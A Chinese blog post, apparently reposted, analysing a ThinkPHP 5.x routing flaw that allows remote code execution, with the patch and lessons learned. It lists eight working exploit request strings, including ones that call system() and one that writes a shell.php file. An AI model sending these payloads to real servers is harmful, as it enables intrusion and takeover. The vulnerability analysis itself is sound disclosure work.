内容简介:平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。
平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。
0x00 介绍
ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。
0x01 知识背景
路由解析
?s=index/index/hello
tp5中路由舍弃了3.x中的 ?m=index&c=Index&a=hello
方式,而使用一个参数 s
传递所有信息, s=/index/Index/hello
中三部分分别代表 module
, controller
, action
。此次出现问题的部分便是 controller
,由于 ThinkPHP
中命名空间和自动加载的作用,每个类都可被访问到,即导致每个类都可被当做 controller
。
参数处理
<?php namespace app\index\controller; class Test { public function index($name){ return 'Hello '+$name; } }
?s=index/test/index&name=world
参数会自动处理,当然也可为数组,比如
?s=index/test/index&name[0]=world&&name[1]=xx
0x02 漏洞分析
在5.1.x中函数名为 parseModuleAndClass
,功能一样
parseClass()
函数:
正常情况下会对 name
进行处理,限制在 app\index\controller
命名空间。
这里的 name
即为 controller
,前置处理为获取到 module
, controller
, action
,将 controller
传入该函数处理。
当 name
中存在 \\
时,直接将 name
赋值到 class
,不再进行 parseClass
操作,配合自动加载的机制从而导致可为任意命名空间下的类作为 controller
,任意 public
都可被用户访问到,结合 ThinkPHP5
内置的一些类和方法便可造成远程命令执行。
0x03 POC
thinkphp/library/think/App.php 304-320行
/** * 执行函数或者闭包方法 支持参数调用 * @access public * @param string|array|\Closure $function 函数或者闭包 * @param array $vars 变量 * @return mixed */ public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
?s=index/thinkapp/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id
ReflectionFunction
为 PHP 中的反射类,反射调用 call_user_func_array
, call_user_func_array
为回调函数,回调 system
,参数为 id
已知POC(来自t00ls):
1、?s=index/\think\Request/input&filter=phpinfo&data=1 2、?s=index/\think\Request/input&filter=system&data=id 3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
0x04 漏洞补丁
该补丁为 5.0.x
补丁, 5.1.x
位置不一样,方式一样。
补丁方式为限制 controller
只能为字母和数字。并且放在 controller
处理之前。
0x04 总结
简单来说这个洞是由于用户控制了 controller
导致的,开发者将处理 controller
的代码封装到了 Loader.php
,并且与其他功能进行代码复用,为了满足其他功能增加的功能(即特殊处理存在 \\
的参数),从而导致了漏洞。 代码复用是开发者优质的习惯,但也需要严格审核是否因为书写复用代码时是否会造成漏洞。
另外,可以看到这是一个非常浅显的洞,至今没有人发现,最终由官方爆出,也许很多用户默认此开源框架“流行 == 安全”,其实很多应用并不是想象中的完全安全,漏洞经常发生在被人忽视的地方。
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/125/
来源:https://p0sec.net/
以上所述就是小编给大家介绍的《ThinkPHP5.x 路由缺陷导致远程代码执行》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 大多数路由器都存在固件缺陷使用户面临风险
- 从0到1创建高效的产品缺陷管理流程(1):缺陷是什么? 如何建立缺陷管理流程?
- 为什么说缺陷去除效率比测试缺陷率更适合软件质量度量?
- 缺陷数据就是个宝藏
- 修复缺陷的正确姿势
- 网站用户宝典:25个缺陷跟踪工具
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
人人都是产品经理
苏杰 / 电子工业出版社 / 2012-6 / 45.00元
本书为《人人都是产品经理》的升级版,是写给“1到3岁的产品经理”的书,适合刚入门的产品经理、产品规划师、需求分析师,以及对做产品感兴趣的学生,用户体验、市场运营、技术部门的朋友们,特别是互联网、软件行业。作为一名“4岁的产品经理”,作者讲述了过去3年的经历与体会,与前辈们的书不同,本书就像你走到作者身边,说“嗨,哥们!晚上有空吃个饭吗,随便聊聊做产品的事吧”,然后作者说“好啊”。 书名叫“......一起来看看 《人人都是产品经理》 这本书的介绍吧!